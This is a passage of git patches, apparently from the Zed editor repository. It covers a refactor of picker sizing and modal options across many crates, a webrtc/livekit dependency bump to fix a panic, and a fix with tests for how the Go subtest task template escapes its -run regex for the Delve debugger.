@@ -211,7 +222,6 @@ pub(crate) enum Shape {
 pub struct SizeBounds {
     pub(crate) max_width: RelativeWidth,
     pub(crate) max_height: RelativeHeight,
-    /// Minimum size of the results pane.
     pub(crate) min_results: Size<Rems>,
     /// Minimum size of the preview pane. Along the split axis this only needs to
     /// be large enough to grab the divider and shrink it back.
@@ -487,7 +497,7 @@ impl Shape {
         &self,
         layout: impl Into<Option<Layout>>,
         bounds: &SizeBounds,
-        vertical_padding: VerticalPadding,
+        fill_height: bool,
         div: Div,
         window: &Window,
     ) -> Div {
@@ -500,29 +510,27 @@ impl Shape {
             _ => full.right - full.left,
         };
         let div = div.w(width);
-        match vertical_padding {
-            VerticalPadding::None => div,
-            VerticalPadding::Pad => {
-                let height = match layout {
-                    Some(Layout::Below) => (full.bottom - full.top) - full.preview,
-                    _ => full.bottom - full.top,
-                };
-                div.h(height)
-            }
+        if fill_height {
+            let height = match layout {
+                Some(Layout::Below) => (full.bottom - full.top) - full.preview,
+                _ => full.bottom - full.top,
+            };
+            div.h(height)
+        } else {
+            div
         }
     }
 
     pub(crate) fn results_max_height(
         &self,
         bounds: &SizeBounds,
-        vertical_padding: VerticalPadding,
+        fill_height: bool,
         window: &Window,
     ) -> Option<Pixels> {
-        match vertical_padding {
-            // No preview when results size themselves (no vertical padding), so
-            // clamp against the results-only minimum.
-            VerticalPadding::None => Some(self.height(None, bounds, window)),
-            VerticalPadding::Pad => None,
+        if fill_height {
+            None
+        } else {
+            Some(self.height(None, bounds, window))
         }
     }
 
diff --git a/crates/project_symbols/src/project_symbols.rs b/crates/project_symbols/src/project_symbols.rs
index 3681d84bc81018..5e4422a6fb7e6f 100644
--- a/crates/project_symbols/src/project_symbols.rs
+++ b/crates/project_symbols/src/project_symbols.rs
@@ -2,7 +2,7 @@ use editor::{Bias, Editor, SelectionEffects, scroll::Autoscroll, styled_runs_for
 use fuzzy::{StringMatch, StringMatchCandidate};
 use gpui::{
     App, Context, DismissEvent, Entity, HighlightStyle, ParentElement, StyledText, Task, TaskExt,
-    TextStyle, WeakEntity, Window, relative, rems,
+    TextStyle, WeakEntity, Window, relative,
 };
 use ordered_float::OrderedFloat;
 use picker::{Picker, PickerDelegate};
@@ -26,7 +26,7 @@ pub fn init(cx: &mut App) {
                     let handle = cx.entity().downgrade();
                     workspace.toggle_modal(window, cx, move |window, cx| {
                         let delegate = ProjectSymbolsDelegate::new(handle, project);
-                        Picker::uniform_list(delegate, window, cx).minimum_results_width(rems(34.))
+                        Picker::uniform_list(delegate, window, cx)
                     })
                 },
             );
diff --git a/crates/recent_projects/src/recent_projects.rs b/crates/recent_projects/src/recent_projects.rs
index 4d0b237964c4e7..696817d10cc9a2 100644
--- a/crates/recent_projects/src/recent_projects.rs
+++ b/crates/recent_projects/src/recent_projects.rs
@@ -632,9 +632,7 @@ impl RecentProjects {
         let picker = cx.new(|cx| {
             Picker::list(delegate, window, cx)
                 .list_measure_all()
-                .minimum_results_width(rems(rem_width))
-                .height(rems(24.))
-                .no_vertical_padding()
+                .initial_width(rems(rem_width))
                 .show_scrollbar(true)
         });
 
@@ -2573,8 +2571,7 @@ mod tests {
             Picker::list(delegate, window, cx)
                 .list_measure_all()
                 .show_scrollbar(true)
-                .height(Rems::from_pixels(px(240.0), window))
-                .no_vertical_padding()
+                .max_height(Rems::from_pixels(px(240.0), window))
         });
         draw(cx);
         (picker, cx)
diff --git a/crates/recent_projects/src/remote_servers.rs b/crates/recent_projects/src/remote_servers.rs
index 9e6653b43d738b..fc883849ecbf41 100644
--- a/crates/recent_projects/src/remote_servers.rs
+++ b/crates/recent_projects/src/remote_servers.rs
@@ -132,7 +132,7 @@ impl AddWslDistro {
         use crate::wsl_picker::{WslDistroSelected, WslPickerDelegate, WslPickerDismissed};
 
         let delegate = WslPickerDelegate::new();
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx).modal(false));
+        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx).embedded());
 
         cx.subscribe_in(
             &picker,
@@ -398,12 +398,7 @@ impl ProjectPicker {
         let delegate = open_path_prompt::OpenPathDelegate::new(tx, lister, false, cx).show_hidden();
 
         let picker = cx.new(|cx| {
-            let picker = Picker::uniform_list(delegate, window, cx)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-                .height(rems(24.))
-                .no_vertical_padding()
-                .modal(false);
+            let picker = Picker::uniform_list(delegate, window, cx).embedded();
             picker.set_query(&home_dir.to_string(), window, cx);
             picker
         });
@@ -1457,7 +1452,7 @@ impl RemoteServerProjects {
         if configs.len() > 1 {
             let delegate = DevContainerPickerDelegate::new(configs, cx.weak_entity());
             this.dev_container_picker =
-                Some(cx.new(|cx| Picker::uniform_list(delegate, window, cx).modal(false)));
+                Some(cx.new(|cx| Picker::uniform_list(delegate, window, cx).embedded()));
         } else if let Some(context) = dev_container_context {
             let config = configs.into_iter().next();
             this.open_dev_container(config, app_state, context, window, cx);
@@ -1506,10 +1501,7 @@ impl RemoteServerProjects {
                 true,
                 cx,
             );
-            Picker::list(delegate, window, cx)
-                .modal(false)
-                .initial_width(rems(34.))
-                .height(rems(24.))
+            Picker::list(delegate, window, cx).embedded()
         });
         let mut read_ssh_config = RemoteSettings::get_global(cx).read_ssh_config;
         let ssh_config_updates = if read_ssh_config {
@@ -2217,7 +2209,7 @@ impl RemoteServerProjects {
         if configs.len() > 1 {
             let delegate = DevContainerPickerDelegate::new(configs, cx.weak_entity());
             self.dev_container_picker =
-                Some(cx.new(|cx| Picker::uniform_list(delegate, window, cx).modal(false)));
+                Some(cx.new(|cx| Picker::uniform_list(delegate, window, cx).embedded()));
 
             let state =
                 CreateRemoteDevContainer::new(DevContainerCreationProgress::SelectingConfig, cx);
diff --git a/crates/recent_projects/src/sidebar_recent_projects.rs b/crates/recent_projects/src/sidebar_recent_projects.rs
index a5cc8e14c8efa4..8955e63793f740 100644
--- a/crates/recent_projects/src/sidebar_recent_projects.rs
+++ b/crates/recent_projects/src/sidebar_recent_projects.rs
@@ -56,8 +56,7 @@ impl SidebarRecentProjects {
                     .list_measure_all()
                     .show_scrollbar(true)
                     .initial_width(rems(18.))
-                    .minimum_results_width(rems(18.))
-                    .modal(false)
+                    .popover()
             });
 
             let picker_focus_handle = picker.focus_handle(cx);
diff --git a/crates/recent_projects/src/wsl_picker.rs b/crates/recent_projects/src/wsl_picker.rs
index 6edf8a26dfbe93..271be7d0f51d0c 100644
--- a/crates/recent_projects/src/wsl_picker.rs
+++ b/crates/recent_projects/src/wsl_picker.rs
@@ -203,7 +203,7 @@ impl WslOpenModal {
         cx: &mut Context<Self>,
     ) -> Self {
         let delegate = WslPickerDelegate::new();
-        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx).modal(false));
+        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx).embedded());
 
         let selected = cx.subscribe_in(
             &picker,
diff --git a/crates/repl/src/components/kernel_options.rs b/crates/repl/src/components/kernel_options.rs
index 698428f92ab005..cdc2a586ebf03e 100644
--- a/crates/repl/src/components/kernel_options.rs
+++ b/crates/repl/src/components/kernel_options.rs
@@ -481,10 +481,7 @@ where
         let picker_view = cx.new(|cx| {
             Picker::list(delegate, window, cx)
                 .list_measure_all()
-                .minimum_results_width(rems(34.))
-                .height(rems(24.))
-                .no_vertical_padding()
-                .modal(false)
+                .popover()
         });
 
         PopoverMenu::new("kernel-switcher")
diff --git a/crates/search/src/text_finder.rs b/crates/search/src/text_finder.rs
index c2a8c58b633e0c..4852e2e2386806 100644
--- a/crates/search/src/text_finder.rs
+++ b/crates/search/src/text_finder.rs
@@ -9,7 +9,7 @@ use picker::Picker;
 
 use project::ProjectPath;
 use text::Anchor;
-use ui::{Rems, Window};
+use ui::Window;
 use workspace::{DismissDecision, ModalView, Workspace};
 
 mod delegate;
@@ -223,10 +223,7 @@ impl TextFinder {
 
     fn new(delegate: Delegate, window: &mut Window, cx: &mut Context<Self>) -> Self {
         let project = delegate.project(cx).clone();
-        let picker = cx.new(|cx| {
-            Picker::list_with_preview(delegate, project, window, cx)
-                .minimum_results_width(Rems(20.0))
-        });
+        let picker = cx.new(|cx| Picker::list_with_preview(delegate, project, window, cx));
         let picker_weak = picker.downgrade();
         let picker_focus_handle = picker.focus_handle(cx);
         picker.update(cx, |picker, cx| {
diff --git a/crates/search/src/text_finder/delegate.rs b/crates/search/src/text_finder/delegate.rs
index e0ecf2c6b6c494..5fb075d314fa7a 100644
--- a/crates/search/src/text_finder/delegate.rs
+++ b/crates/search/src/text_finder/delegate.rs
@@ -612,7 +612,7 @@ impl PickerDelegate for Delegate {
             ),
             picker::PickerAction::separator(),
             picker::PickerAction::button("Open File", menu::Confirm.boxed_clone()),
-            picker::PickerAction::button("To project search", super::ToProjectSearch.boxed_clone()),
+            picker::PickerAction::button("Open as Tab", super::ToProjectSearch.boxed_clone()),
         ]
     }
 
diff --git a/crates/settings_profile_selector/src/settings_profile_selector.rs b/crates/settings_profile_selector/src/settings_profile_selector.rs
index 59dc0e4b505a8b..873f16785fb80c 100644
--- a/crates/settings_profile_selector/src/settings_profile_selector.rs
+++ b/crates/settings_profile_selector/src/settings_profile_selector.rs
@@ -52,13 +52,8 @@ impl SettingsProfileSelector {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| {
-            Picker::uniform_list(delegate, window, cx)
-                .initial_width(rems(22.))
-                .minimum_results_width(rems(22.))
-                .height(rems(24.))
-                .no_vertical_padding()
-        });
+        let picker =
+            cx.new(|cx| Picker::uniform_list(delegate, window, cx).initial_width(rems(22.)));
         Self { picker }
     }
 }
diff --git a/crates/settings_ui/src/components/font_picker.rs b/crates/settings_ui/src/components/font_picker.rs
index e8825b6c599245..adeb7b048a5bf9 100644
--- a/crates/settings_ui/src/components/font_picker.rs
+++ b/crates/settings_ui/src/components/font_picker.rs
@@ -180,8 +180,7 @@ pub fn font_picker(
 
     Picker::uniform_list(delegate, window, cx)
         .show_scrollbar(true)
-        .minimum_results_width(rems_from_px(210.))
-        .height(rems(18.))
-        .no_vertical_padding()
-        .modal(false)
+        .initial_width(rems_from_px(210.))
+        .max_height(rems(18.))
+        .popover()
 }
diff --git a/crates/settings_ui/src/components/icon_theme_picker.rs b/crates/settings_ui/src/components/icon_theme_picker.rs
index 903a57b5a517ba..3fd6ef12faa3cf 100644
--- a/crates/settings_ui/src/components/icon_theme_picker.rs
+++ b/crates/settings_ui/src/components/icon_theme_picker.rs
@@ -193,8 +193,7 @@ pub fn icon_theme_picker(
 
     Picker::uniform_list(delegate, window, cx)
         .show_scrollbar(true)
-        .minimum_results_width(rems_from_px(210.))
-        .height(rems(18.))
-        .no_vertical_padding()
-        .modal(false)
+        .initial_width(rems_from_px(210.))
+        .max_height(rems(18.))
+        .popover()
 }
diff --git a/crates/settings_ui/src/components/ollama_model_picker.rs b/crates/settings_ui/src/components/ollama_model_picker.rs
index d6f0e7249c8d45..46cb38f0fec1d4 100644
--- a/crates/settings_ui/src/components/ollama_model_picker.rs
+++ b/crates/settings_ui/src/components/ollama_model_picker.rs
@@ -204,10 +204,9 @@ pub fn render_ollama_model_picker(
 
                 Picker::uniform_list(delegate, window, cx)
                     .show_scrollbar(true)
-                    .minimum_results_width(rems_from_px(210.))
-                    .height(rems(18.))
-                    .no_vertical_padding()
-                    .modal(false)
+                    .initial_width(rems_from_px(210.))
+                    .max_height(rems(18.))
+                    .popover()
             }))
         })
         .anchor(gpui::Anchor::TopLeft)
diff --git a/crates/settings_ui/src/components/theme_picker.rs b/crates/settings_ui/src/components/theme_picker.rs
index 0980de1e4ee477..dc8e3f7ac7426e 100644
--- a/crates/settings_ui/src/components/theme_picker.rs
+++ b/crates/settings_ui/src/components/theme_picker.rs
@@ -178,8 +178,7 @@ pub fn theme_picker(
 
     Picker::uniform_list(delegate, window, cx)
         .show_scrollbar(true)
-        .minimum_results_width(rems_from_px(210.))
-        .height(rems(18.))
-        .no_vertical_padding()
-        .modal(false)
+        .initial_width(rems_from_px(210.))
+        .max_height(rems(18.))
+        .popover()
 }
diff --git a/crates/snippets_ui/src/snippets_ui.rs b/crates/snippets_ui/src/snippets_ui.rs
index 9fc0a3fcb37c98..22d77bb71f101c 100644
--- a/crates/snippets_ui/src/snippets_ui.rs
+++ b/crates/snippets_ui/src/snippets_ui.rs
@@ -111,13 +111,7 @@ impl ScopeSelector {
         let delegate =
             ScopeSelectorDelegate::new(workspace, cx.entity().downgrade(), language_registry);
 
-        let picker = cx.new(|cx| {
-            Picker::uniform_list(delegate, window, cx)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-                .height(rems(24.))
-                .no_vertical_padding()
-        });
+        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
 
         Self { picker }
     }
diff --git a/crates/tab_switcher/src/tab_switcher.rs b/crates/tab_switcher/src/tab_switcher.rs
index b66fbf0ad5c888..2f79ad530148e4 100644
--- a/crates/tab_switcher/src/tab_switcher.rs
+++ b/crates/tab_switcher/src/tab_switcher.rs
@@ -177,7 +177,6 @@ impl TabSwitcher {
                     Picker::nonsearchable_list(delegate, window, cx)
                 }
                 .initial_width(rems(PANEL_WIDTH_REMS))
-                .minimum_results_width(rems(PANEL_WIDTH_REMS))
             }),
             init_modifiers,
         }
diff --git a/crates/tasks_ui/src/modal.rs b/crates/tasks_ui/src/modal.rs
index a96e9db92caccc..39a3baf842e429 100644
--- a/crates/tasks_ui/src/modal.rs
+++ b/crates/tasks_ui/src/modal.rs
@@ -6,7 +6,7 @@ use fuzzy::{StringMatch, StringMatchCandidate};
 use gpui::{
     Action, AnyElement, App, AppContext as _, Context, DismissEvent, Entity, EventEmitter,
     Focusable, InteractiveElement, ParentElement, Render, Styled, Subscription, Task, WeakEntity,
-    Window, rems,
+    Window,
 };
 use itertools::Itertools;
 use picker::{Picker, PickerDelegate, highlighted_match_with_paths::HighlightedMatch};
@@ -148,11 +148,7 @@ impl TasksModal {
                 window,
                 cx,
             )
-            .modal(is_modal)
-            .initial_width(rems(34.))
-            .minimum_results_width(rems(34.))
-            .height(rems(24.))
-            .no_vertical_padding()
+            .when(!is_modal, |picker| picker.embedded())
         });
         let mut _subscriptions = [
             cx.subscribe(&picker, |_, _, _: &DismissEvent, cx| {
diff --git a/crates/theme_selector/src/icon_theme_selector.rs b/crates/theme_selector/src/icon_theme_selector.rs
index 5318a13df730f6..f677ce27da7d16 100644
--- a/crates/theme_selector/src/icon_theme_selector.rs
+++ b/crates/theme_selector/src/icon_theme_selector.rs
@@ -45,11 +45,7 @@ impl IconThemeSelector {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| {
-            Picker::uniform_list(delegate, window, cx)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-        });
+        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
         Self { picker }
     }
 }
diff --git a/crates/theme_selector/src/theme_selector.rs b/crates/theme_selector/src/theme_selector.rs
index 78a8d0b3b6788b..a245e95529b391 100644
--- a/crates/theme_selector/src/theme_selector.rs
+++ b/crates/theme_selector/src/theme_selector.rs
@@ -119,11 +119,7 @@ impl ThemeSelector {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| {
-            Picker::uniform_list(delegate, window, cx)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-        });
+        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
         Self { picker }
     }
 }
diff --git a/crates/toolchain_selector/src/toolchain_selector.rs b/crates/toolchain_selector/src/toolchain_selector.rs
index 85b9bbdadc8099..a85b722a6d5160 100644
--- a/crates/toolchain_selector/src/toolchain_selector.rs
+++ b/crates/toolchain_selector/src/toolchain_selector.rs
@@ -112,9 +112,7 @@ impl AddToolchainState {
             let (lister, rx) = Self::create_path_browser_delegate(project.clone(), cx);
             let path_style = project.read(cx).path_style(cx);
             let picker = cx.new(|cx| {
-                let picker = Picker::uniform_list(lister, window, cx)
-                    .initial_width(rems(34.))
-                    .minimum_results_width(rems(34.));
+                let picker = Picker::uniform_list(lister, window, cx);
                 let mut worktree_root = worktree_root_path.to_string_lossy().into_owned();
                 worktree_root.push_str(path_style.primary_separator());
                 picker.set_query(&worktree_root, window, cx);
@@ -234,9 +232,7 @@ impl AddToolchainState {
                             let (delegate, rx) =
                                 Self::create_path_browser_delegate(this.project.clone(), cx);
                             picker.update(cx, |picker, cx| {
-                                *picker = Picker::uniform_list(delegate, window, cx)
-                                    .initial_width(rems(34.))
-                                    .minimum_results_width(rems(34.));
+                                *picker = Picker::uniform_list(delegate, window, cx);
                                 picker.set_query(path.to_string_lossy().as_ref(), window, cx);
                             });
                             *input_state = Self::wait_for_path(rx, window, cx);
@@ -688,8 +684,6 @@ impl ToolchainSelector {
                     cx,
                 );
                 Picker::uniform_list(delegate, window, cx)
-                    .initial_width(rems(34.))
-                    .minimum_results_width(rems(34.))
             });
             let picker_focus_handle = picker.focus_handle(cx);
             picker.update(cx, |picker, _| {
diff --git a/crates/vim/src/state.rs b/crates/vim/src/state.rs
index a5aa8ba4b59e64..c76579311ec056 100644
--- a/crates/vim/src/state.rs
+++ b/crates/vim/src/state.rs
@@ -1433,9 +1433,7 @@ impl RegistersView {
             matches,
         };
 
-        Picker::nonsearchable_uniform_list(delegate, window, cx)
-            .initial_width(rems(36.))
-            .modal(true)
+        Picker::nonsearchable_uniform_list(delegate, window, cx).initial_width(rems(36.))
     }
 }
 
@@ -1800,9 +1798,7 @@ impl MarksView {
             matches,
             workspace,
         };
-        Picker::nonsearchable_uniform_list(delegate, window, cx)
-            .initial_width(rems(36.))
-            .modal(true)
+        Picker::nonsearchable_uniform_list(delegate, window, cx).initial_width(rems(36.))
     }
 }
 

From ad6ce93202ad82bd436b3576c8bea5b0bc55c370 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Tue, 23 Jun 2026 13:10:04 +0200
Subject: [PATCH 053/772] webrtc: Bump webrtc to fix a panic (#59750)

Pulls in https://github.com/zed-industries/livekit-rust-sdks/pull/13 to
fix a cause of panics with webrtc

Fixes ZED-5J7

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 Cargo.lock | 14 +++++++-------
 Cargo.toml |  6 +++---
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index ef5bc3b20a97e3..539dfa0857c5f7 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -10121,7 +10121,7 @@ dependencies = [
 [[package]]
 name = "libwebrtc"
 version = "0.3.26"
-source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=c3a55bbc207008f1ca3474b6037fdd3c443cad0f#c3a55bbc207008f1ca3474b6037fdd3c443cad0f"
+source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=d0e27be0cdad89eadab3e36207cda0a2b6e359ee#d0e27be0cdad89eadab3e36207cda0a2b6e359ee"
 dependencies = [
  "cxx",
  "glib",
@@ -10219,7 +10219,7 @@ checksum = "11d3d7f243d5c5a8b9bb5d6dd2b1602c0cb0b9db1621bafc7ed66e35ff9fe092"
 [[package]]
 name = "livekit"
 version = "0.7.32"
-source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=c3a55bbc207008f1ca3474b6037fdd3c443cad0f#c3a55bbc207008f1ca3474b6037fdd3c443cad0f"
+source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=d0e27be0cdad89eadab3e36207cda0a2b6e359ee#d0e27be0cdad89eadab3e36207cda0a2b6e359ee"
 dependencies = [
  "base64 0.22.1",
  "bmrng",
@@ -10245,7 +10245,7 @@ dependencies = [
 [[package]]
 name = "livekit-api"
 version = "0.4.14"
-source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=c3a55bbc207008f1ca3474b6037fdd3c443cad0f#c3a55bbc207008f1ca3474b6037fdd3c443cad0f"
+source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=d0e27be0cdad89eadab3e36207cda0a2b6e359ee#d0e27be0cdad89eadab3e36207cda0a2b6e359ee"
 dependencies = [
  "base64 0.21.7",
  "futures-util",
@@ -10272,7 +10272,7 @@ dependencies = [
 [[package]]
 name = "livekit-protocol"
 version = "0.7.1"
-source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=c3a55bbc207008f1ca3474b6037fdd3c443cad0f#c3a55bbc207008f1ca3474b6037fdd3c443cad0f"
+source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=d0e27be0cdad89eadab3e36207cda0a2b6e359ee#d0e27be0cdad89eadab3e36207cda0a2b6e359ee"
 dependencies = [
  "futures-util",
  "livekit-runtime",
@@ -10288,7 +10288,7 @@ dependencies = [
 [[package]]
 name = "livekit-runtime"
 version = "0.4.0"
-source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=c3a55bbc207008f1ca3474b6037fdd3c443cad0f#c3a55bbc207008f1ca3474b6037fdd3c443cad0f"
+source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=d0e27be0cdad89eadab3e36207cda0a2b6e359ee#d0e27be0cdad89eadab3e36207cda0a2b6e359ee"
 dependencies = [
  "tokio",
  "tokio-stream",
@@ -20956,7 +20956,7 @@ dependencies = [
 [[package]]
 name = "webrtc-sys"
 version = "0.3.23"
-source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=c3a55bbc207008f1ca3474b6037fdd3c443cad0f#c3a55bbc207008f1ca3474b6037fdd3c443cad0f"
+source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=d0e27be0cdad89eadab3e36207cda0a2b6e359ee#d0e27be0cdad89eadab3e36207cda0a2b6e359ee"
 dependencies = [
  "cc",
  "cxx",
@@ -20970,7 +20970,7 @@ dependencies = [
 [[package]]
 name = "webrtc-sys-build"
 version = "0.3.13"
-source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=c3a55bbc207008f1ca3474b6037fdd3c443cad0f#c3a55bbc207008f1ca3474b6037fdd3c443cad0f"
+source = "git+https://github.com/zed-industries/livekit-rust-sdks?rev=d0e27be0cdad89eadab3e36207cda0a2b6e359ee#d0e27be0cdad89eadab3e36207cda0a2b6e359ee"
 dependencies = [
  "anyhow",
  "fs2",
diff --git a/Cargo.toml b/Cargo.toml
index 54f1de8b30fb4b..4fb73966008296 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -912,11 +912,11 @@ async-process = { git = "https://github.com/zed-industries/async-process.git", r
 async-task = { git = "https://github.com/smol-rs/async-task.git", rev = "b4486cd71e4e94fbda54ce6302444de14f4d190e" }
 windows-capture = { git = "https://github.com/zed-industries/windows-capture.git", rev = "f0d6c1b6691db75461b732f6d5ff56eed002eeb9" }
 calloop = { git = "https://github.com/zed-industries/calloop" }
-livekit = { git = "https://github.com/zed-industries/livekit-rust-sdks", rev = "c3a55bbc207008f1ca3474b6037fdd3c443cad0f" }
-libwebrtc = { git = "https://github.com/zed-industries/livekit-rust-sdks", rev = "c3a55bbc207008f1ca3474b6037fdd3c443cad0f" }
+livekit = { git = "https://github.com/zed-industries/livekit-rust-sdks", rev = "d0e27be0cdad89eadab3e36207cda0a2b6e359ee" }
+libwebrtc = { git = "https://github.com/zed-industries/livekit-rust-sdks", rev = "d0e27be0cdad89eadab3e36207cda0a2b6e359ee" }
 notify = { git = "https://github.com/zed-industries/notify", rev = "faecbc33db4f59313e5225ef766bfd9e54a54cfd" }
 notify-types = { git = "https://github.com/zed-industries/notify", rev = "faecbc33db4f59313e5225ef766bfd9e54a54cfd" }
-webrtc-sys = { git = "https://github.com/zed-industries/livekit-rust-sdks", rev = "c3a55bbc207008f1ca3474b6037fdd3c443cad0f" }
+webrtc-sys = { git = "https://github.com/zed-industries/livekit-rust-sdks", rev = "d0e27be0cdad89eadab3e36207cda0a2b6e359ee" }
 
 [profile.dev]
 split-debuginfo = "unpacked"

From 438070b1cf192ed32a9e80ba43d6850deeaeb3cc Mon Sep 17 00:00:00 2001
From: Kunall Banerjee <hey@kimchiii.space>
Date: Tue, 23 Jun 2026 07:10:05 -0400
Subject: [PATCH 054/772] languages: Fix Debug Test for Go subtests (#53680)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The `go-subtest` task template wrapped the `-run` arg in single quotes
for shell safety. This works for Run Test (terminal strips quotes), but
Debug Test sends the arg through Delve’s DAP protocol with no shell
involved, so the literal quote characters ended up in the regex and
prevented any match.

All other Go task templates (`go-test`, `go-testify-suite`,
`go-table-test-case`) use the backslash-escaped format which `GoLocator`
already knows how to handle. Align the `go-subtest` template to the same
format.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #53230.

Release Notes:

- Fixed Debug Test for Go subtests

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/languages/src/go.rs                   | 70 +++++++++++++++++++-
 crates/project/tests/integration/debugger.rs | 38 +++++++++++
 2 files changed, 107 insertions(+), 1 deletion(-)

diff --git a/crates/languages/src/go.rs b/crates/languages/src/go.rs
index 18dea9d61b21ae..13a4fcc9bdf787 100644
--- a/crates/languages/src/go.rs
+++ b/crates/languages/src/go.rs
@@ -842,7 +842,7 @@ impl ContextProvider for GoContextProvider {
                     "-v".into(),
                     "-run".into(),
                     format!(
-                        "'^{}$/^{}$'",
+                        "\\^{}\\$/\\^{}\\$",
                         VariableName::Symbol.template_value(),
                         GO_SUBTEST_NAME_TASK_VARIABLE.template_value(),
                     ),
@@ -943,6 +943,7 @@ mod tests {
     use super::*;
     use crate::language;
     use gpui::{AppContext, Hsla, TestAppContext};
+    use task::TaskContext;
     use theme::SyntaxTheme;
 
     fn go_language() -> Arc<Language> {
@@ -1219,6 +1220,73 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_go_test_templates_run_arg_is_shell_escaped(cx: &mut TestAppContext) {
+        let templates = cx
+            .update(|cx| GoContextProvider.associated_tasks(None, cx))
+            .await
+            .expect("Go context provider returns associated tasks");
+
+        // `resolve_task` returns `None` for any `ZED_` variable a template
+        // references but the context omits, so supply all of them.
+        let context = TaskContext {
+            cwd: None,
+            task_variables: TaskVariables::from_iter([
+                (VariableName::Symbol, "TestFoo".to_string()),
+                (GO_SUBTEST_NAME_TASK_VARIABLE, "simple_subtest".to_string()),
+                (
+                    GO_TABLE_TEST_CASE_NAME_TASK_VARIABLE,
+                    "table_case".to_string(),
+                ),
+                (GO_SUITE_NAME_TASK_VARIABLE, "Suite".to_string()),
+                (GO_PACKAGE_TASK_VARIABLE, ".".to_string()),
+                (VariableName::Dirname, "/tmp".to_string()),
+            ]),
+            project_env: HashMap::default(),
+        };
+
+        // `go-benchmark` is excluded: its `-run='^$'` form intentionally quotes.
+        let escaped_run_arg_tags = [
+            "go-test",
+            "go-example",
+            "go-subtest",
+            "go-fuzz",
+            "go-testify-suite",
+            "go-table-test-case",
+        ];
+
+        for tag in escaped_run_arg_tags {
+            let template = templates
+                .0
+                .iter()
+                .find(|template| template.tags.iter().any(|template_tag| template_tag == tag))
+                .unwrap_or_else(|| panic!("`{tag}` task template exists"));
+
+            let resolved = template
+                .resolve_task("go", &context)
+                .unwrap_or_else(|| panic!("`{tag}` template resolves"));
+
+            let run_index = resolved
+                .resolved
+                .args
+                .iter()
+                .position(|arg| arg == "-run")
+                .unwrap_or_else(|| panic!("`{tag}` resolved args contain a `-run` flag"));
+            let run_arg = &resolved.resolved.args[run_index + 1];
+
+            assert!(
+                !run_arg.contains('\''),
+                "`{tag}` -run arg must not shell-quote the regex; single quotes leak \
+                 literally into Delve's regex and break Debug Test (#53230), got {run_arg:?}"
+            );
+            assert!(
+                run_arg.starts_with("\\^") && run_arg.ends_with("\\$"),
+                "`{tag}` -run arg must escape its regex anchors as \\^...\\$ so the shell \
+                 and GoLocator both strip them, got {run_arg:?}"
+            );
+        }
+    }
+
     #[gpui::test]
     fn test_go_example_test_detection(cx: &mut TestAppContext) {
         let language = go_language();
diff --git a/crates/project/tests/integration/debugger.rs b/crates/project/tests/integration/debugger.rs
index 61bba78c74baec..ef0671f3056446 100644
--- a/crates/project/tests/integration/debugger.rs
+++ b/crates/project/tests/integration/debugger.rs
@@ -173,6 +173,44 @@ mod go_locator {
         );
     }
 
+    #[gpui::test]
+    async fn test_go_locator_unescapes_nested_subtest_regex(_: &mut TestAppContext) {
+        let locator = GoLocator;
+        let delve = DebugAdapterName("Delve".into());
+
+        // Delve receives the `-run` regex with no shell, so GoLocator must strip
+        // the escaping itself.
+        let task = TaskTemplate {
+            label: "test subtest".into(),
+            command: "go".into(),
+            args: vec![
+                "test".to_string(),
+                "-v".to_string(),
+                "-run".to_string(),
+                "\\^TestFoo\\$/\\^simple_subtest\\$".to_string(),
+            ],
+            ..Default::default()
+        };
+        let result = locator.create_scenario(&task, "", &delve).await.unwrap();
+        let config: DelveLaunchRequest = serde_json::from_value(result.config).unwrap();
+        assert_eq!(
+            config,
+            DelveLaunchRequest {
+                request: "launch".to_string(),
+                mode: "test".to_string(),
+                program: ".".to_string(),
+                build_flags: vec![],
+                args: vec![
+                    "-test.v".to_string(),
+                    "-test.run".to_string(),
+                    "^TestFoo$/^simple_subtest$".to_string(),
+                ],
+                env: Default::default(),
+                cwd: None,
+            }
+        );
+    }
+
     #[gpui::test]
     async fn test_skip_unsupported_go_commands(_: &mut TestAppContext) {
         let locator = GoLocator;

